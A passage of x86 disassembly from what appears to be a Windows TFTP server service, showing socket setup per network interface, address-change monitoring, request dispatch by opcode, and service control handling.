mov eax, offset Memory
mov dword_100603C, eax
mov Memory, eax
lea eax, [ebp+Memory]
push eax
call sub_1001FA6
xor esi, esi
test eax, eax
jnz short loc_1001957
mov eax, [ebp+Memory]
xor ebx, ebx
cmp [eax], esi
jbe short loc_100194F
xor edi, edi
loc_100192E: ; CODE XREF: sub_10018DB+72j
mov ecx, [eax+edi+4]
cmp ecx, esi
jz short loc_1001947
cmp ecx, 100007Fh
jz short loc_1001947
push ecx ; in
call sub_100205A
mov eax, [ebp+Memory]
loc_1001947: ; CODE XREF: sub_10018DB+59j
; sub_10018DB+61j
inc ebx
add edi, 18h
cmp ebx, [eax]
jb short loc_100192E
loc_100194F: ; CODE XREF: sub_10018DB+4Fj
push eax ; Memory
call ds:free ; free
pop ecx
loc_1001957: ; CODE XREF: sub_10018DB+46j
push offset dword_10060A0
call ds:RtlCreateTimerQueue ; RtlCreateTimerQueue
cmp eax, esi
jnz loc_10019EB
mov eax, 0EA60h
push esi
push eax
push eax
push esi
push offset sub_10029BA
push offset dword_1006048
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
push esi ; lpName
push esi ; bInitialState
push esi ; bManualReset
push esi ; lpEventAttributes
mov edi, eax
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov dword_1005DF8, eax
jnz short loc_10019A2
mov eax, edi
jmp short loc_10019EB
; ---------------------------------------------------------------------------
loc_10019A2: ; CODE XREF: sub_10018DB+C1j
push esi
push 0FFFFFFFFh
push esi
push offset sub_1002219
push eax
push offset dword_1005DFC
call ds:RtlRegisterWait ; RtlRegisterWait
cmp eax, esi
jnz short loc_10019EB
mov ecx, offset overlapped
xor eax, eax
mov edi, ecx
push ecx ; overlapped
stosd
stosd
stosd
stosd
stosd
mov eax, dword_1005DF8
push offset Handle ; Handle
mov overlapped.hEvent, eax
call NotifyAddrChange ; NotifyAddrChange
cmp eax, esi
jz short loc_10019E9
cmp eax, 3E5h
jnz short loc_10019EB
loc_10019E9: ; CODE XREF: sub_10018DB+105j
xor eax, eax
loc_10019EB: ; CODE XREF: sub_10018DB+89j
; sub_10018DB+C5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_10018DB endp
; =============== S U B R O U T I N E =======================================
sub_10019F0 proc near ; CODE XREF: sub_1001665+203p
mov eax, offset lpMem
push offset stru_1006060 ; lpCriticalSection
mov dword_100607C, eax
mov lpMem, eax
call ds:InitializeCriticalSection ; InitializeCriticalSection
push 0 ; dwMaximumSize
push 0EFD1Ch ; dwInitialSize
push 0 ; flOptions
call ds:HeapCreate ; HeapCreate
mov hHeap, eax
retn
sub_10019F0 endp
; =============== S U B R O U T I N E =======================================
sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p
push ebx
push esi
mov ebx, offset stru_1006060
push edi
push ebx ; lpCriticalSection
xor esi, esi
call ds:EnterCriticalSection
mov eax, dword_1005DF0
sub eax, dword_1005DF4
cmp eax, 0Ah
jbe short loc_1001A46
shr eax, 1
mov esi, eax
jmp short loc_1001A4E
; ---------------------------------------------------------------------------
loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj
cmp eax, 3
jbe short loc_1001A4E
push 2
pop esi
loc_1001A4E: ; CODE XREF: sub_1001A1F+25j
; sub_1001A1F+2Aj
test esi, esi
jbe short loc_1001A86
mov edi, esi
loc_1001A54: ; CODE XREF: sub_1001A1F+65j
mov eax, lpMem
mov esi, eax
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h] ; hObject
call ds:CloseHandle ; CloseHandle
push esi ; lpMem
push 0 ; dwFlags
push hHeap ; hHeap
call ds:HeapFree
dec dword_1005DF0
dec edi
jnz short loc_1001A54
loc_1001A86: ; CODE XREF: sub_1001A1F+31j
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
pop ebx
retn
sub_1001A1F endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1001A91(SOCKET s, int)
sub_1001A91 proc near ; CODE XREF: .text:01001DCCp
; .text:01001DE1p
dwFlags = dword ptr -10004h
argp = dword ptr -10000h
Fromlen = dword ptr -0FFFCh
var_FFF8 = dword ptr -0FFF8h
Buffers = _WSABUF ptr -0FFF4h
Handles = dword ptr -0FFECh
var_FFE8 = dword ptr -0FFE8h
Overlapped = _OVERLAPPED ptr -0FFE4h
to = sockaddr ptr -0FFD0h
var_FFC0 = dword ptr -0FFC0h
s = dword ptr 4
arg_4 = dword ptr 8
mov eax, 10004h
call _chkstk ; _chkstk
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov [esp+10014h+dwFlags], ebp
mov ebx, offset stru_1006060
loc_1001AAA: ; CODE XREF: sub_1001A91+291j
lea eax, [esp+10014h+argp]
push eax ; argp
push 4004667Fh ; cmd
push [esp+1001Ch+s] ; s
call ds:ioctlsocket ; ioctlsocket
cmp eax, ebp
jnz loc_1001D27
cmp [esp+10014h+argp], ebp
jz loc_1001D65
xor eax, eax
lea edi, [esp+10014h+Overlapped]
stosd
stosd
stosd
stosd
push ebx ; lpCriticalSection
stosd
call ds:EnterCriticalSection
mov eax, lpMem
inc dword_1005DF4
cmp eax, offset lpMem
jz short loc_1001B11
mov ecx, [eax]
mov esi, eax
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h] ; hEvent
call ds:ResetEvent ; ResetEvent
mov eax, [esi+30h]
jmp short loc_1001B41
; ---------------------------------------------------------------------------
loc_1001B11: ; CODE XREF: sub_1001A91+64j
inc dword_1005DF0
push 2FF6Ch ; dwBytes
push 8 ; dwFlags
push hHeap ; hHeap
call ds:HeapAlloc
mov esi, eax
cmp esi, ebp
jz loc_1001D5E
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
mov [esi+30h], eax
loc_1001B41: ; CODE XREF: sub_1001A91+7Ej
push ebx ; lpCriticalSection
mov [esp+10018h+Overlapped.hEvent], eax
call ds:LeaveCriticalSection
lea ebp, [esi+34h]
mov ecx, 3FEFh
xor eax, eax
mov edi, ebp
rep stosd
stosb
mov eax, [esp+10014h+arg_4]
mov [esp+10014h+Buffers.buf], ebp
mov [esp+10014h+Buffers.len], 0FFBDh
mov [esp+10014h+Fromlen], 10h
mov [esi+1Ch], eax
lea eax, [esp+10014h+Overlapped]
push 0 ; lpCompletionRoutine
push eax ; lpOverlapped
lea eax, [esp+1001Ch+Fromlen]
lea edi, [esi+2Ch]
push eax ; lpFromlen
lea eax, [esi+0Ch]
push eax ; lpFrom
lea eax, [esp+10024h+dwFlags]
push eax ; lpFlags
push edi ; lpNumberOfBytesRecvd
lea eax, [esp+1002Ch+Buffers]
push 1 ; dwBufferCount
push eax ; lpBuffers
push [esp+10034h+s] ; s
call ds:WSARecvFrom ; WSARecvFrom
mov [esp+10014h+var_FFF8], eax
mov ax, [esi+0Eh]
push eax ; netshort
call ds:ntohs ; ntohs
cmp [esp+10014h+var_FFF8], 0
jz short loc_1001C34
call ds:WSAGetLastError ; WSAGetLastError
cmp eax, 3E5h
jnz loc_1001D2F
mov eax, hHandle
push 0FFFFFFFFh ; dwMilliseconds
mov [esp+10018h+Handles], eax
mov eax, [esp+10018h+Overlapped.hEvent]
mov [esp+10018h+var_FFE8], eax
lea eax, [esp+10018h+Handles]
push 0 ; bWaitAll
push eax ; lpHandles
push 2 ; nCount
call ds:WaitForMultipleObjects ; WaitForMultipleObjects
cmp eax, 0FFFFFFFFh
jz loc_1001D2F
cmp eax, 102h
jz loc_1001D2F
test eax, eax
jz loc_1001D2F
lea eax, [esp+10014h+dwFlags]
push eax ; lpdwFlags
push 0 ; fWait
lea eax, [esp+1001Ch+Overlapped]
push edi ; lpcbTransfer
push eax ; lpOverlapped
push [esp+10024h+s] ; s
call ds:WSAGetOverlappedResult ; WSAGetOverlappedResult
test eax, eax
jnz short loc_1001C34
call ds:WSAGetLastError ; WSAGetLastError
jmp loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C34: ; CODE XREF: sub_1001A91+129j
; sub_1001A91+196j
push 0 ; dwMilliseconds
push hHandle ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
test eax, eax
jz loc_1001D2F
cmp dword ptr [edi], 2
jl loc_1001CEA
xor edi, edi
cmp [esp+10014h+arg_4], edi
jz short loc_1001CDA
mov ax, [ebp+0]
push eax ; hostshort
call ds:htons ; htons
movzx ecx, ax
test ecx, ecx
jle short loc_1001CB8
cmp ecx, 2
jle short loc_1001C81
cmp ecx, 4
jz short loc_1001CB8
cmp ecx, 5
jnz short loc_1001CB8
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C81: ; CODE XREF: sub_1001A91+1E2j
cmp ax, 1
jnz short loc_1001C94
inc dword ptr Time+4
mov edi, offset sub_1002F31
jmp short loc_1001CA5
; ---------------------------------------------------------------------------
loc_1001C94: ; CODE XREF: sub_1001A91+1F4j
cmp ax, 2
jnz short loc_1001CA5
inc dword_10060C8
mov edi, offset sub_100333A
loc_1001CA5: ; CODE XREF: sub_1001A91+201j
; sub_1001A91+207j
mov eax, [esp+10014h+s]
test edi, edi
mov [esi+8], eax
jz short loc_1001CEA
push esi
call edi ; sub_1002F31
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj
; sub_1001A91+1E7j ...
push 0 ; int
push 4 ; hostshort
push [esp+1001Ch+s] ; s
inc dword_10060CC
lea eax, [esp+10020h+var_FFC0]
push eax ; int
lea eax, [esp+10024h+to]
push eax ; to
call sub_100230A
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj
mov eax, [esp+10014h+s]
push esi
mov [esi+8], eax
call sub_1002EC8
loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej
; sub_1001A91+1BCj ...
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, lpMem
mov dword ptr [esi+4], offset lpMem
mov [esi], eax
push offset Addend ; lpAddend
mov [eax+4], esi
mov lpMem, esi
call ds:InterlockedIncrement ; InterlockedIncrement
dec dword_1005DF4
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
xor ebp, ebp
jmp loc_1001AAA
; ---------------------------------------------------------------------------
loc_1001D27: ; CODE XREF: sub_1001A91+32j
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1001D65
; ---------------------------------------------------------------------------
loc_1001D2F: ; CODE XREF: sub_1001A91+136j
; sub_1001A91+161j ...
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, lpMem
mov dword ptr [esi+4], offset lpMem
mov [esi], eax
push offset Addend ; lpAddend
mov [eax+4], esi
mov lpMem, esi
call ds:InterlockedIncrement ; InterlockedIncrement
dec dword_1005DF4
loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1001D65: ; CODE XREF: sub_1001A91+3Cj
; sub_1001A91+29Cj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10004h
retn 8
sub_1001A91 endp
; ---------------------------------------------------------------------------
loc_1001D74: ; DATA XREF: sub_100188E+2Do
push ecx
push ebx
push ebp
push esi
mov esi, offset stru_1006020
push edi
mov edi, ds:TryEnterCriticalSection
push esi
xor ebp, ebp
xor ebx, ebx
call edi ; TryEnterCriticalSection
loc_1001D8B: ; CODE XREF: .text:01001DA1j
test eax, eax
jnz short loc_1001DA7
push 0C8h
call ds:Sleep ; Sleep
push esi
call edi ; TryEnterCriticalSection
inc ebx
cmp ebx, 7Dh
jb short loc_1001D8B
test eax, eax
jz short loc_1001DD1
loc_1001DA7: ; CODE XREF: .text:01001D8Dj
lea eax, [esp+10h]
push eax
push dword ptr [esp+1Ch]
call sub_10021E5
test eax, eax
jnz short loc_1001DC0
mov eax, [esp+10h]
mov ebp, [eax+0Ch]
loc_1001DC0: ; CODE XREF: .text:01001DB7j
push esi
call ds:LeaveCriticalSection
push ebp
push dword ptr [esp+1Ch]
call sub_1001A91
loc_1001DD1: ; CODE XREF: .text:01001DA5j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o
push 0
push dword ptr [esp+8]
call sub_1001A91
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __stdcall HandlerProc(DWORD)
HandlerProc proc near ; DATA XREF: sub_1001665+6o
Time = qword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+Time]
push eax ; Time
call ds:time ; time
inc ServiceStatus.dwCheckPoint
pop ecx
lea eax, [ebp+Time]
push eax ; Time
call ds:ctime ; ctime
mov eax, [ebp+arg_0]
pop ecx
dec eax
jz short loc_1001E68
dec eax
jz short loc_1001E35
dec eax
jz short loc_1001E1D
dec eax
dec eax
jz short loc_1001E68
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E1D: ; CODE XREF: HandlerProc+2Aj
push hThread ; hThread
call ds:ResumeThread ; ResumeThread
mov ServiceStatus.dwCurrentState, 4
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E35: ; CODE XREF: HandlerProc+27j
push hThread ; hThread
call ds:SuspendThread ; SuspendThread
mov ServiceStatus.dwCurrentState, 7
loc_1001E4B: ; CODE XREF: HandlerProc+30j
; HandlerProc+48j
push offset ServiceStatus ; lpServiceStatus
push hServiceStatus ; hServiceStatus
call ds:SetServiceStatus ; SetServiceStatus
test eax, eax
jnz short locret_1001E6F
call ds:GetLastError
jmp short locret_1001E6F
; ---------------------------------------------------------------------------
loc_1001E68: ; CODE XREF: HandlerProc+24j
; HandlerProc+2Ej
push 0
call sub_1001E73
locret_1001E6F: ; CODE XREF: HandlerProc+73j
; HandlerProc+7Bj
leave
retn 4
HandlerProc endp
; =============== S U B R O U T I N E =======================================
sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p
; HandlerProc+7Fp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ds:SetServiceStatus
push edi
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 3
push hServiceStatus ; hServiceStatus
call esi ; SetServiceStatus
mov ebp, ds:GetLastError
xor ebx, ebx
cmp eax, ebx
jnz short loc_1001EA3
call ebp ; GetLastError
loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj
push hHandle ; hEvent
call ds:SetEvent ; SetEvent
mov ServiceStatus.dwCurrentState, 1
mov ServiceStatus.dwCheckPoint, ebx
mov eax, [esp+10h+arg_0]
mov ServiceStatus.dwWaitHint, ebx
cmp eax, ebx
jnz short loc_1001EDB
mov ServiceStatus.dwWin32ExitCode, ebx
mov ServiceStatus.dwServiceSpecificExitCode, ebx
jmp short loc_1001EFD
; ---------------------------------------------------------------------------
loc_1001EDB: ; CODE XREF: sub_1001E73+58j
cmp eax, 834h
jb short loc_1001EF3
cmp eax, 16A7h
mov ServiceStatus.dwWin32ExitCode, 42Ah
jbe short loc_1001EF8
loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj
mov ServiceStatus.dwWin32ExitCode, eax
loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej
mov ServiceStatus.dwServiceSpecificExitCode, eax
loc_1001EFD: ; CODE XREF: sub_1001E73+66j
push edi ; lpServiceStatus
push hServiceStatus ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebx
jnz short loc_1001F0C
call ebp ; GetLastError
loc_1001F0C: ; CODE XREF: sub_1001E73+95j
mov eax, hObject
mov esi, ds:CloseHandle
cmp eax, ebx
jz short loc_1001F24
push eax ; hObject
call esi ; CloseHandle
mov hObject, ebx
loc_1001F24: ; CODE XREF: sub_1001E73+A6j
mov eax, hHandle
cmp eax, ebx
jz short loc_1001F36
push eax ; hObject
call esi ; CloseHandle
mov hHandle, ebx
loc_1001F36: ; CODE XREF: sub_1001E73+B8j
mov eax, File
cmp eax, ebx
jz short loc_1001F4D
push eax ; File
call ds:fclose ; fclose
pop ecx
mov File, ebx
loc_1001F4D: ; CODE XREF: sub_1001E73+CAj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_1001E73 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1001F54(void *Memory)
sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp
; sub_1002219+B7p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
push 0FFFFFFFFh
push dword ptr [esi+10h]
call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx
push dword ptr [esi+8] ; s
call ds:closesocket ; closesocket
push dword ptr [esi+14h] ; hEvent
call ds:WSACloseEvent ; WSACloseEvent
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jnz short loc_1001F90
mov eax, Memory
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
jmp short loc_1001F9A
; ---------------------------------------------------------------------------
loc_1001F90: ; CODE XREF: sub_1001F54+29j
mov [ecx], eax
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj
push esi ; Memory
call ds:free ; free
pop ecx
pop esi
retn 4
sub_1001F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp
; sub_1002219+1Dp
var_8 = dword ptr -8
Size = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
lea eax, [ebp+Size]
push edi ; bOrder
push eax ; pdwSize
push edi ; pIpAddrTable
mov [ebp+Size], edi
mov [ebp+var_8], 0C0000017h
mov [ebx], edi
call GetIpAddrTable ; GetIpAddrTable
cmp eax, edi
jz short loc_1001FD3
cmp eax, 7Ah
jnz short loc_100201A
loc_1001FD3: ; CODE XREF: sub_1001FA6+26j
push [ebp+Size] ; Size
call ds:malloc ; malloc
mov esi, eax
pop ecx
cmp esi, edi
jz short loc_100201A
loc_1001FE3: ; CODE XREF: sub_1001FA6+63j
lea eax, [ebp+Size]
push edi ; bOrder
push eax ; pdwSize
push esi ; pIpAddrTable
call GetIpAddrTable ; GetIpAddrTable
cmp eax, edi
jz short loc_1002015
cmp eax, 7Ah
jnz short loc_100201A
push [ebp+Size] ; NewSize
push esi ; Memory
call ds:realloc ; realloc
pop ecx
cmp eax, edi
pop ecx
jz short loc_100200B
mov esi, eax
jmp short loc_1001FE3
; ---------------------------------------------------------------------------
loc_100200B: ; CODE XREF: sub_1001FA6+5Fj
push esi ; Memory
call ds:free ; free
pop ecx
jmp short loc_100201A
; ---------------------------------------------------------------------------
loc_1002015: ; CODE XREF: sub_1001FA6+4Aj
mov [ebp+var_8], edi
mov [ebx], esi
loc_100201A: ; CODE XREF: sub_1001FA6+2Bj
; sub_1001FA6+3Bj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 4
sub_1001FA6 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002024(struct in_addr in, int)
sub_1002024 proc near ; CODE XREF: sub_100205A+B7p
in = in_addr ptr 4
arg_4 = dword ptr 8
push dword ptr [esp+in.S_un] ; in
call ds:inet_ntoa ; inet_ntoa
test eax, eax
jz short locret_1002057
push edi
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push esi
mov eax, ecx
mov esi, edi
mov edi, [esp+8+arg_4]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
pop edi
locret_1002057: ; CODE XREF: sub_1002024+Cj
retn 8
sub_1002024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100205A(struct in_addr in)
sub_100205A proc near ; CODE XREF: sub_10018DB+64p
; sub_1002219+65p ...
var_28 = dword ptr -28h
name = sockaddr ptr -14h
var_4 = dword ptr -4
in = in_addr ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_4], esi
loc_1002068: ; CODE XREF: sub_100205A+5Dj
push 1 ; dwFlags
push esi ; g
push esi ; lpProtocolInfo
push esi ; protocol
push 2 ; type
push 2 ; af
call ds:WSASocketA ; WSASocketA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_100209D
xor eax, eax
lea edi, [ebp+name]
stosd
stosd
stosd
push offset proto ; "udp"
push offset name ; "tftp"
stosd
call ds:getservbyname ; getservbyname
cmp eax, esi
jnz short loc_10020B9
jmp short loc_10020B1
; ---------------------------------------------------------------------------
loc_100209D: ; CODE XREF: sub_100205A+22j
call ds:WSAGetLastError ; WSAGetLastError
push 2EEh ; dwMilliseconds
call ds:Sleep ; Sleep
inc [ebp+var_4]
loc_10020B1: ; CODE XREF: sub_100205A+41j
cmp [ebp+var_4], 0Ah
jge short loc_10020E6
jmp short loc_1002068
; ---------------------------------------------------------------------------
loc_10020B9: ; CODE XREF: sub_100205A+3Fj
mov [ebp+name.sa_family], 2
mov ax, [eax+8]
mov word ptr [ebp+name.sa_data], ax
mov eax, dword ptr [ebp+in.S_un]
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push 10h ; namelen
push eax ; name
push ebx ; s
call ds:bind ; bind
test eax, eax
jz short loc_10020E6
call ds:GetLastError
jmp short loc_100215E
; ---------------------------------------------------------------------------
loc_10020E6: ; CODE XREF: sub_100205A+5Bj
; sub_100205A+82j
cmp ebx, 0FFFFFFFFh
jz short loc_100215E
push 20h ; Size
call ds:malloc ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_100213D
push 8
xor eax, eax
pop ecx
mov edi, esi
rep stosd
mov eax, dword ptr [ebp+in.S_un]
lea ecx, [ebp+var_28]
push ecx ; int
push eax ; in
mov [esi+8], ebx
mov [esi+0Ch], eax
call sub_1002024
xor eax, eax
push eax ; lpName
push eax ; bInitialState
push eax ; bManualReset
push eax ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
mov edi, eax
test edi, edi
jz short loc_1002140
push 1 ; char
push edi ; hEventObject
push ebx ; s
mov [esi+14h], edi
call sub_100188E
test eax, eax
mov [esi+10h], eax
jnz short loc_1002162
jmp short loc_1002140
; ---------------------------------------------------------------------------
loc_100213D: ; CODE XREF: sub_100205A+9Ej
mov edi, dword ptr [ebp+in.S_un]
loc_1002140: ; CODE XREF: sub_100205A+CCj
; sub_100205A+E1j
push ebx ; s
call ds:closesocket ; closesocket
test edi, edi
jz short loc_1002152
push edi ; hObject
call ds:CloseHandle ; CloseHandle
loc_1002152: ; CODE XREF: sub_100205A+EFj
test esi, esi
jz short loc_100215E
push esi ; Memory
call ds:free ; free
pop ecx
loc_100215E: ; CODE XREF: sub_100205A+8Aj
; sub_100205A+8Fj ...
xor eax, eax
jmp short loc_100217B
; ---------------------------------------------------------------------------
loc_1002162: ; CODE XREF: sub_100205A+DFj
mov eax, Memory
mov dword ptr [esi+4], offset Memory
mov [esi], eax
mov [eax+4], esi
mov Memory, esi
mov eax, esi
loc_100217B: ; CODE XREF: sub_100205A+106j
pop edi
pop esi
pop ebx
leave
retn 4
sub_100205A endp
; =============== S U B R O U T I N E =======================================
sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p
mov ecx, Memory
push esi
mov esi, offset Memory
xor eax, eax
cmp ecx, esi
jz short loc_10021B3
push edi
loc_1002195: ; CODE XREF: sub_1002182+2Ej
cmp dword ptr [ecx+18h], 0
mov edi, [ecx]
jnz short loc_10021A8
push ecx ; Memory
call sub_1001F54
push 1
pop eax
jmp short loc_10021AC
; ---------------------------------------------------------------------------
loc_10021A8: ; CODE XREF: sub_1002182+19j
and dword ptr [ecx+18h], 0
loc_10021AC: ; CODE XREF: sub_1002182+24j
cmp edi, esi
mov ecx, edi
jnz short loc_1002195
pop edi
loc_10021B3: ; CODE XREF: sub_1002182+10j
pop esi
retn
sub_1002182 endp
; =============== S U B R O U T I N E =======================================
sub_10021B5 proc near ; CODE XREF: sub_1002219+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset Memory
and dword ptr [edx], 0
mov eax, Memory
loc_10021C7: ; CODE XREF: sub_10021B5+21j
cmp eax, ecx
jz short loc_10021DF
mov esi, [eax+0Ch]
cmp esi, [esp+4+arg_0]
jz short loc_10021D8
mov eax, [eax]
jmp short loc_10021C7
; ---------------------------------------------------------------------------
loc_10021D8: ; CODE XREF: sub_10021B5+1Dj
push 1
mov [edx], eax
pop eax
jmp short loc_10021E1
; ---------------------------------------------------------------------------
loc_10021DF: ; CODE XREF: sub_10021B5+14j
xor eax, eax
loc_10021E1: ; CODE XREF: sub_10021B5+28j
pop esi
retn 8
sub_10021B5 endp
; =============== S U B R O U T I N E =======================================
sub_10021E5 proc near ; CODE XREF: .text:01001DB0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset Memory
and dword ptr [edx], 0
mov eax, Memory
loc_10021F7: ; CODE XREF: sub_10021E5+21j
cmp eax, ecx
jz short loc_100220A
mov esi, [eax+8]
cmp esi, [esp+4+arg_0]
jz short loc_1002208
mov eax, [eax]
jmp short loc_10021F7
; ---------------------------------------------------------------------------
loc_1002208: ; CODE XREF: sub_10021E5+1Dj
mov [edx], eax
loc_100220A: ; CODE XREF: sub_10021E5+14j
mov eax, [edx]
pop esi
neg eax
sbb eax, eax
and al, 0A9h
add eax, 57h
retn 8
sub_10021E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
Memory = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
xor esi, esi
push offset stru_1006020 ; lpCriticalSection
mov [ebp+var_C], esi
call ds:EnterCriticalSection
lea eax, [ebp+Memory]
push eax
call sub_1001FA6
test eax, eax
jnz short loc_10022A9
mov eax, [ebp+Memory]
xor ebx, ebx
cmp [eax], esi
jbe short loc_1002298
loc_1002248: ; CODE XREF: sub_1002219+7Dj
mov eax, [eax+esi+4]
test eax, eax
jz short loc_100228D
cmp eax, 100007Fh
jz short loc_100228D
lea ecx, [ebp+var_8]
push ecx
push eax
call sub_10021B5
test eax, eax
jz short loc_1002271
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
jmp short loc_100228D
; ---------------------------------------------------------------------------
loc_1002271: ; CODE XREF: sub_1002219+4Aj
mov eax, [ebp+Memory]
push 1
pop edi
push dword ptr [eax+esi+4] ; in
mov [ebp+var_C], edi
call sub_100205A
test eax, eax
mov [ebp+var_8], eax
jz short loc_100228D
mov [eax+18h], edi
loc_100228D: ; CODE XREF: sub_1002219+35j
; sub_1002219+3Cj ...
mov eax, [ebp+Memory]
inc ebx
add esi, 18h
cmp ebx, [eax]
jb short loc_1002248
loc_1002298: ; CODE XREF: sub_1002219+2Dj
call sub_1002182
push [ebp+Memory] ; Memory
mov esi, eax
call ds:free ; free
pop ecx
loc_10022A9: ; CODE XREF: sub_1002219+24j
cmp [ebp+var_C], 0
jnz short loc_10022E9
test esi, esi
jnz short loc_10022E9
mov eax, Memory
mov edi, offset Memory
cmp eax, edi
jz short loc_10022E9
loc_10022C1: ; CODE XREF: sub_1002219+CEj
mov [ebp+var_8], eax
mov ebx, [eax]
test byte ptr [eax+1Ch], 1
jnz short loc_10022E3
mov esi, [eax+0Ch]
push eax ; Memory
call sub_1001F54
push esi ; in
call sub_100205A
test eax, eax
jz short loc_10022E3
or dword ptr [eax+1Ch], 1
loc_10022E3: ; CODE XREF: sub_1002219+B1j
; sub_1002219+C4j
cmp ebx, edi
mov eax, ebx
jnz short loc_10022C1
loc_10022E9: ; CODE XREF: sub_1002219+94j
; sub_1002219+98j ...
push offset overlapped ; overlapped
push offset Handle ; Handle
call NotifyAddrChange ; NotifyAddrChange
push offset stru_1006020 ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100230A(struct sockaddr *to, int, SOCKET s, u_short hostshort, int)
sub_100230A proc near ; CODE XREF: sub_1001A91+242p
; sub_10023D8+23Cp ...
buf = byte ptr -0FFBCh
var_FFBA = word ptr -0FFBAh
var_FFB8 = byte ptr -0FFB8h
to = dword ptr 8
s = dword ptr 10h
hostshort = word ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 0FFBCh
call _chkstk ; _chkstk
push ebx
push esi
mov esi, ds:htons
push edi
push 5 ; hostshort
call esi ; htons
mov edi, dword ptr [ebp+hostshort]
mov word ptr [ebp+buf], ax
push edi ; hostshort
call esi ; htons
cmp [ebp+arg_10], 0
mov [ebp+var_FFBA], ax
jz short loc_1002369
mov edi, [ebp+arg_10]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [ebp+var_FFB8]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+arg_10]
jmp short loc_10023A2
; ---------------------------------------------------------------------------
loc_1002369: ; CODE XREF: sub_100230A+32j
cmp di, 9
jb short loc_1002371
xor edi, edi
loc_1002371: ; CODE XREF: sub_100230A+63j
movzx eax, di
or ecx, 0FFFFFFFFh
